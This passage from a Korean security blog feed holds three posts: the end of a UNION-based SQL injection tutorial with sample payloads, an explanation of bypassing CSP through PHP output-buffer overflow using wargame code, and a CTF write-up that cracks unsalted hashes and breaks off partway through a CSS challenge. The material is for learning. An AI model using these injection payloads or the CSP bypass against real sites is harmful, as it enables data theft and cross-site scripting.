&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;1 UNION SELECT 1 -- &amp;rarr; 에러&lt;/li&gt;
&lt;li&gt;1 UNION SELECT 1, 2 -- &amp;rarr; 정상&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1, 2 같은 값 대신 NULL값을 넣어도됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통 NULL을 넣을 때 타입 충돌을 피할 수 있기에 NULL이 좀 더 편하긴합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;order by 와 다르게 에러가 아닌 정상 메세지로 컬럼 수를 확인 합니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5. 컬럼 출력 위치 파악&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컬럼 수를 알았으면 어떤 컬럼이 어느 위치에 출려되는지 확인해야합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;-1 UNION SELCET 1,2 --&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일부러 존재하지 않는 값 (예시에선 -1)을 넣어 1과 2가 출력되게 한 후, 어느 부분에 1과 2가 각각 출력되는지 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;존재하는 값을 넣으면 만약 출력부분이 하나의 데이터만 출력한다면, 1과 2가 아닌 기존의 존재하던 값이 출력되어 출력포인트 체크가 힘들게 됩니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;6. 원하는 정보 추출&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출력 위치를 알았다면 그 부분에 원하는 쿼리값을 넣어 데이터를 추출합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB 버전을 원한다면 version()을, DB 명을 원하면 database()를, 특정 컬럼의 값을 원하면 그 컬럼명을 넣어 정보를 얻습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>보안/이론 정리</category>
      <author>윤형주</author>
      <guid isPermaLink="true">https://yoongarret.tistory.com/192</guid>
      <comments>https://yoongarret.tistory.com/192#entry192comment</comments>
      <pubDate>Wed, 11 Feb 2026 21:22:45 +0900</pubDate>
    </item>
    <item>
      <title>웹 해킹 - PHP output buffer overflow</title>
      <link>https://yoongarret.tistory.com/191</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;워게임을 풀다가 공부하게된 php 버퍼 취약점 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;php는 내부적으로 출력 버퍼를 가지고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 버퍼가 일정 크기 이상으로 커지면, php가 버퍼를 자동으로 전송하게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 이용하여 특정 코드에서 CSP 등을 우회 할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1764827114811&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if (strpos($comment, 'abc') !== false) {
    echo $prefix . $comment;             
}

if (strpos($comment, 'script') !== false) {
    $untrusted_comment = $_GET['comment'];

    while (strpos($untrusted_comment, 'script') !== false) {
        echo $alert;                    // 특정 문자열 출력 (ex. 경고문)
        echo $untrusted_comment;         
        $untrusted_comment = str_replace('script', '', $untrusted_comment);
    }
}

$nonce = base64_encode(random_bytes(20));
header(&quot;Content-Security-Policy: ... nonce-{$nonce}&quot;);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;드림핵 워게임 중 일부를 수정하여 예시로 든 코드입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안의 중점인 CSP 헤더가 코드의 맨 뒷 부분에서 추가되는 모습입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 위에서 조건문 안에 적힌 echo 문들이 문제가됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에서 말씀드린거처럼 php 버퍼에 일정량 이상의 정보가 쌓이면 php가 내부적으로 응답을 그냥 보내버리게됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;echo문이 바로 그 버퍼를 채우는 역할을 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조건문을 보면 script 라는 문자열이 입력값에 있을 때 그 값을 공백으로 바꾸면서&amp;nbsp; $alert값 (특정 문자열)을 출력값에 더하게됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥 보면 입력 검증 후 CSP 헤더를 추가하여 출력하는 정상적인 코드로 보이지만, script가 입력값에 아직 남아 있으면 계속 루프를 돌면서 echo로 alert값을 출력에 더하게됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 버퍼가 과도하게 가득 차게됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 입력값에 script 값을 여러번 넣어서 echo 문을 과도하게 많이 출력시키게 한다면 php의 출력버퍼가 꽉 차게 되어 뒤에 붙을 CSP 헤더의 공간이 없어지게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 상태에서 출력값이 나가면 CSP 헤더가 붙지 않고 응답이 나가게됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 CSP를 우회하는 결과가 나오게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;script가 가득한 입력값에 악의적인 XSS 문구 등을 같이 넣는다면, CSP가 작동하지 않아 공격이 먹히게됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>보안/이론 정리</category>
      <author>윤형주</author>
      <guid isPermaLink="true">https://yoongarret.tistory.com/191</guid>
      <comments>https://yoongarret.tistory.com/191#entry191comment</comments>
      <pubDate>Thu, 4 Dec 2025 14:56:59 +0900</pubDate>
    </item>
    <item>
      <title>[V1t CTF 2025] Web write-up</title>
      <link>https://yoongarret.tistory.com/190</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;916&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvpS2k/dJMcabvJVjK/KT0UwYNknzVLLtr4QHa1j0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvpS2k/dJMcabvJVjK/KT0UwYNknzVLLtr4QHa1j0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvpS2k/dJMcabvJVjK/KT0UwYNknzVLLtr4QHa1j0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcvpS2k%2FdJMcabvJVjK%2FKT0UwYNknzVLLtr4QHa1j0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;916&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;916&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스터디그룹에 속한 후 처음이자, 오랜만에 경험하는 CTF였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제들은 쉬운 편이었지만, 좀 불친절했다라고 생각이 듭니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 분야 문제들이 좀 적기도해서 재밌었지만 아쉬운 CTF 였네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해서 이번엔 제가 푼 총 2문제의 라이트업을 작성해 보았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Login Panel&lt;/b&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;502&quot; data-origin-height=&quot;329&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lS66n/dJMcaajiwc7/zYYuExArhBOKGeD3fUCHZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lS66n/dJMcaajiwc7/zYYuExArhBOKGeD3fUCHZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lS66n/dJMcaajiwc7/zYYuExArhBOKGeD3fUCHZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlS66n%2FdJMcaajiwc7%2FzYYuExArhBOKGeD3fUCHZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;502&quot; height=&quot;329&quot; data-origin-width=&quot;502&quot; data-origin-height=&quot;329&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 문제입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 페이지를 보여주는게 아닌 alert로 입력을 받더라고요.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;738&quot; data-origin-height=&quot;359&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LXfV1/dJMcaacwQgd/k0Gc83oGNawlD7LKW661X0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LXfV1/dJMcaacwQgd/k0Gc83oGNawlD7LKW661X0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LXfV1/dJMcaacwQgd/k0Gc83oGNawlD7LKW661X0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLXfV1%2FdJMcaacwQgd%2Fk0Gc83oGNawlD7LKW661X0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;738&quot; height=&quot;359&quot; data-origin-width=&quot;738&quot; data-origin-height=&quot;359&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 문제 링크를 눌러 들어가면 사진 처럼 입력창이 나옵니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;username과 password를 입력받고, 로그인 여부를 띄워줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세 팝업창이 끝나면 흰 화면이 남고 개발자 도구를 통해서 문제 코드를 확인 할 수 있었습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1762346770636&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;
    async function toHex(buffer) {
      const bytes = new Uint8Array(buffer);
      let hex = '';
      for (let i = 0; i &amp;lt; bytes.length; i++) {
        hex += bytes[i].toString(16).padStart(2, '0');
      }
      return hex;
    }

    async function sha256Hex(str) {
      const enc = new TextEncoder();
      const data = enc.encode(str);
      const digest = await crypto.subtle.digest('SHA-256', data);
      return toHex(digest);
    }

    function timingSafeEqualHex(a, b) {
      if (a.length !== b.length) return false;
      let diff = 0;
      for (let i = 0; i &amp;lt; a.length; i++) {
        diff |= a.charCodeAt(i) ^ b.charCodeAt(i);
      }
      return diff === 0;
    }

    (async () =&amp;gt; {
      const ajnsdjkamsf = 'ba773c013e5c07e8831bdb2f1cee06f349ea1da550ef4766f5e7f7ec842d836e'; // replace
      const lanfffiewnu = '48d2a5bbcf422ccd1b69e2a82fb90bafb52384953e77e304bef856084be052b6'; // replace

      const username = prompt('Enter username:');
      const password = prompt('Enter password:');

      if (username === null || password === null) {
        alert('Missing username or password');
        return;
      }

      const uHash = await sha256Hex(username);
      const pHash = await sha256Hex(password);

      if (timingSafeEqualHex(uHash, ajnsdjkamsf) &amp;amp;&amp;amp; timingSafeEqualHex(pHash, lanfffiewnu)) {
        alert(username+ '{'+password+'}');
      } else {
        alert('Invalid credentials');
      }
    })();
  &amp;lt;script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTML 코드를 빼고 스크립트 코드만 가져왔습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;username과 password가 하드코딩 되어있고 입력값을 sha256Hex()함수에 넣어 코드의 해쉬값과 비교하여 맞으면 통과되는 문제였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sha256Hex()함수의 경우 문자열을 UTF-8로 인코딩 후 sha-256 해쉬를 계산합니다. 마무리로 16진수로 변환 후 반환해주는 함수입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 해쉬를 하는 과정을 보면 솔트값을 들어가지 않았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;때문에 레인보우 테이블로 찾을 수 있지 않을까 해서 해쉬 크래킹을 해주는 웹 사이트를 통해 값을 구해보기로 했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사이트는 &quot;&lt;a href=&quot;https://crackstation.net/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://crackstation.net/&lt;/a&gt;&quot;를 이용했습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;838&quot; data-origin-height=&quot;466&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bL3XpD/dJMcaezewup/mH1AKAiFNHBNILvStdbEkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bL3XpD/dJMcaezewup/mH1AKAiFNHBNILvStdbEkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bL3XpD/dJMcaezewup/mH1AKAiFNHBNILvStdbEkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbL3XpD%2FdJMcaezewup%2FmH1AKAiFNHBNILvStdbEkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;838&quot; height=&quot;466&quot; data-origin-width=&quot;838&quot; data-origin-height=&quot;466&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 문제라 그런가 다행히 바로 성공했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;username은 v1t라는 것을 구했네요.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;870&quot; data-origin-height=&quot;471&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FVNMi/dJMcafrm9Sm/58T9guHT36qNNI4yKaXmjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FVNMi/dJMcafrm9Sm/58T9guHT36qNNI4yKaXmjK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FVNMi/dJMcafrm9Sm/58T9guHT36qNNI4yKaXmjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFVNMi%2FdJMcafrm9Sm%2F58T9guHT36qNNI4yKaXmjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;870&quot; height=&quot;471&quot; data-origin-width=&quot;870&quot; data-origin-height=&quot;471&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;password 역시 바로 구하는데 성공했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해서 이제 문제로 돌아가서 username에 v1t, password에 p4ssw0rd를 입력하면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;457&quot; data-origin-height=&quot;152&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wglca/dJMb99Sd72K/ghkMFF85CB6KlFLaZHoWSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wglca/dJMb99Sd72K/ghkMFF85CB6KlFLaZHoWSk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wglca/dJMb99Sd72K/ghkMFF85CB6KlFLaZHoWSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwglca%2FdJMb99Sd72K%2FghkMFF85CB6KlFLaZHoWSk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;457&quot; height=&quot;152&quot; data-origin-width=&quot;457&quot; data-origin-height=&quot;152&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 플래그를 획득 할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;FLAG = v1t{p4ssw0rd}&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Stylish Flag&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;498&quot; data-origin-height=&quot;334&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rN99N/dJMcaa4FTV9/NN1ePMxWJC5ARzeydKbP90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rN99N/dJMcaa4FTV9/NN1ePMxWJC5ARzeydKbP90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rN99N/dJMcaa4FTV9/NN1ePMxWJC5ARzeydKbP90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrN99N%2FdJMcaa4FTV9%2FNN1ePMxWJC5ARzeydKbP90%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;498&quot; height=&quot;334&quot; data-origin-width=&quot;498&quot; data-origin-height=&quot;334&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 번째 문제입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;싫어요가 좀 많은 문제더라고요.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1896&quot; data-origin-height=&quot;945&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b88Uvh/dJMcadNRCf5/sNiQ94Dk0KO9Jb43GCcZWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b88Uvh/dJMcadNRCf5/sNiQ94Dk0KO9Jb43GCcZWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b88Uvh/dJMcadNRCf5/sNiQ94Dk0KO9Jb43GCcZWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb88Uvh%2FdJMcadNRCf5%2FsNiQ94Dk0KO9Jb43GCcZWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1896&quot; height=&quot;945&quot; data-origin-width=&quot;1896&quot; data-origin-height=&quot;945&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 링크를 누르면 바로 이런 화면으로 넘어갑니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발자 도구부터 봐줬습니다. 그런데..&lt;/p&gt;
&lt;pre id=&quot;code_1762423129265&quot; class=&quot;css&quot; data-ke-language=&quot;css&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    body {
        background: #111;
        display: flex;
        justify-content: center;
        align-items: center;
        height: 100vh;
    }

    h1 {
        font-size: 100px;
        color: #0f0;
    }

    .flag {
        width: 8px;
        height: 8px;
        background: #0f0;
        transform: rotate(180deg);
        opacity: 0.05;
        box-shadow:
            264px 0px #0f0,
            1200px 0px #0f0,
            0px 8px #0f0,
            32px 8px #0f0,
            88px 8px #0f0,
            96px 8px #0f0,
            160px 8px #0f0,
            168px 8px #0f0,
            176px 8px #0f0,
            184px 8px #0f0,
            192px 8px #0f0,
            256px 8px #0f0,
            320px 8px #0f0,
            344px 8px #0f0,
            408px 8px #0f0,
            416px 8px #0f0,
            480px 8px #0f0,
            488px 8px #0f0,
            496px 8px #0f0,
            560px 8px #0f0,
            568px 8px #0f0,
            576px 8px #0f0,
            640px 8px #0f0,
            648px 8px #0f0,
            656px 8px #0f0,
            712px 8px #0f0,
            720px 8px #0f0,
            736px 8px #0f0,
            744px 8px #0f0,
            792px 8px #0f0,
            800px 8px #0f0,
            808px 8px #0f0,
            816px 8px #0f0,
            824px 8px #0f0,
            960px 8px #0f0,
            968px 8px #0f0,
            976px 8px #0f0,
            1040px 8px #0f0,
            1048px 8px #0f0,
            1056px 8px #0f0,
            1112px 8px #0f0,
            1120px 8px #0f0,
            1128px 8px #0f0,
            1136px 8px #0f0,
            1200px 8px #0f0,
            1208px 8px #0f0,
            0px 16px #0f0,
            8px 16px #0f0,
            24px 16px #0f0,
            32px 16px #0f0,
            80px 16px #0f0,
            88px 16px #0f0,
            96px 16px #0f0,
            104px 16px #0f0,
            168px 16px #0f0,
            176px 16px #0f0,
            248px 16px #0f0,
            256px 16px #0f0,
            320px 16px #0f0,
            344px 16px #0f0,
            400px 16px #0f0,
            408px 16px #0f0,
            416px 16px #0f0,
            480px 16px #0f0,
            504px 16px #0f0,
            576px 16px #0f0,
            584px 16px #0f0,
            640px 16px #0f0,
            656px 16px #0f0,
            664px 16px #0f0,
            712px 16px #0f0,
            720px 16px #0f0,
            736px 16px #0f0,
            744px 16px #0f0,
            808px 16px #0f0,
            952px 16px #0f0,
            960px 16px #0f0,
            1032px 16px #0f0,
            1040px 16px #0f0,
            1112px 16px #0f0,
            1200px 16px #0f0,
            1208px 16px #0f0,
            0px 24px #0f0,
            8px 24px #0f0,
            24px 24px #0f0,
            32px 24px #0f0,
            96px 24px #0f0,
            104px 24px #0f0,
            168px 24px #0f0,
            176px 24px #0f0,
            248px 24px #0f0,
            256px 24px #0f0,
            320px 24px #0f0,
            328px 24px #0f0,
            336px 24px #0f0,
            344px 24px #0f0,
            408px 24px #0f0,
            416px 24px #0f0,
            480px 24px #0f0,
            504px 24px #0f0,
            576px 24px #0f0,
            632px 24px #0f0,
            640px 24px #0f0,
            656px 24px #0f0,
            664px 24px #0f0,
            712px 24px #0f0,
            720px 24px #0f0,
            736px 24px #0f0,
            744px 24px #0f0,
            808px 24px #0f0,
            952px 24px #0f0,
            1032px 24px #0f0,
            1040px 24px #0f0,
            1112px 24px #0f0,
            1120px 24px #0f0,
            1200px 24px #0f0,
            1208px 24px #0f0,
            8px 32px #0f0,
            24px 32px #0f0,
            96px 32px #0f0,
            104px 32px #0f0,
            168px 32px #0f0,
            176px 32px #0f0,
            240px 32px #0f0,
            248px 32px #0f0,
            320px 32px #0f0,
            328px 32px #0f0,
            336px 32px #0f0,
            344px 32px #0f0,
            408px 32px #0f0,
            416px 32px #0f0,
            480px 32px #0f0,
            504px 32px #0f0,
            568px 32px #0f0,
            576px 32px #0f0,
            584px 32px #0f0,
            632px 32px #0f0,
            640px 32px #0f0,
            648px 32px #0f0,
            664px 32px #0f0,
            712px 32px #0f0,
            720px 32px #0f0,
            736px 32px #0f0,
            744px 32px #0f0,
            808px 32px #0f0,
            952px 32px #0f0,
            1048px 32px #0f0,
            1056px 32px #0f0,
            1120px 32px #0f0,
            1128px 32px #0f0,
            1136px 32px #0f0,
            1208px 32px #0f0,
            1216px 32px #0f0,
            8px 40px #0f0,
            16px 40px #0f0,
            24px 40px #0f0,
            96px 40px #0f0,
            104px 40px #0f0,
            168px 40px #0f0,
            176px 40px #0f0,
            248px 40px #0f0,
            256px 40px #0f0,
            320px 40px #0f0,
            344px 40px #0f0,
            408px 40px #0f0,
            416px 40px #0f0,
            480px 40px #0f0,
            504px 40px #0f0,
            576px 40px #0f0,
            584px 40px #0f0,
            640px 40px #0f0,
            664px 40px #0f0,
            712px 40px #0f0,
            720px 40px #0f0,
            736px 40px #0f0,
            744px 40px #0f0,
            808px 40px #0f0,
            952px 40px #0f0,
            960px 40px #0f0,
            1056px 40px #0f0,
            1064px 40px #0f0,
            1136px 40px #0f0,
            1200px 40px #0f0,
            1208px 40px #0f0,
            8px 48px #0f0,
            16px 48px #0f0,
            24px 48px #0f0,
            88px 48px #0f0,
            96px 48px #0f0,
            104px 48px #0f0,
            112px 48px #0f0,
            168px 48px #0f0,
            176px 48px #0f0,
            248px 48px #0f0,
            256px 48px #0f0,
            320px 48px #0f0,
            344px 48px #0f0,
            400px 48px #0f0,
            408px 48px #0f0,
            416px 48px #0f0,
            424px 48px #0f0,
            480px 48px #0f0,
            488px 48px #0f0,
            496px 48px #0f0,
            560px 48px #0f0,
            568px 48px #0f0,
            576px 48px #0f0,
            640px 48px #0f0,
            648px 48px #0f0,
            656px 48px #0f0,
            664px 48px #0f0,
            720px 48px #0f0,
            728px 48px #0f0,
            736px 48px #0f0,
            808px 48px #0f0,
            960px 48px #0f0,
            968px 48px #0f0,
            976px 48px #0f0,
            1032px 48px #0f0,
            1040px 48px #0f0,
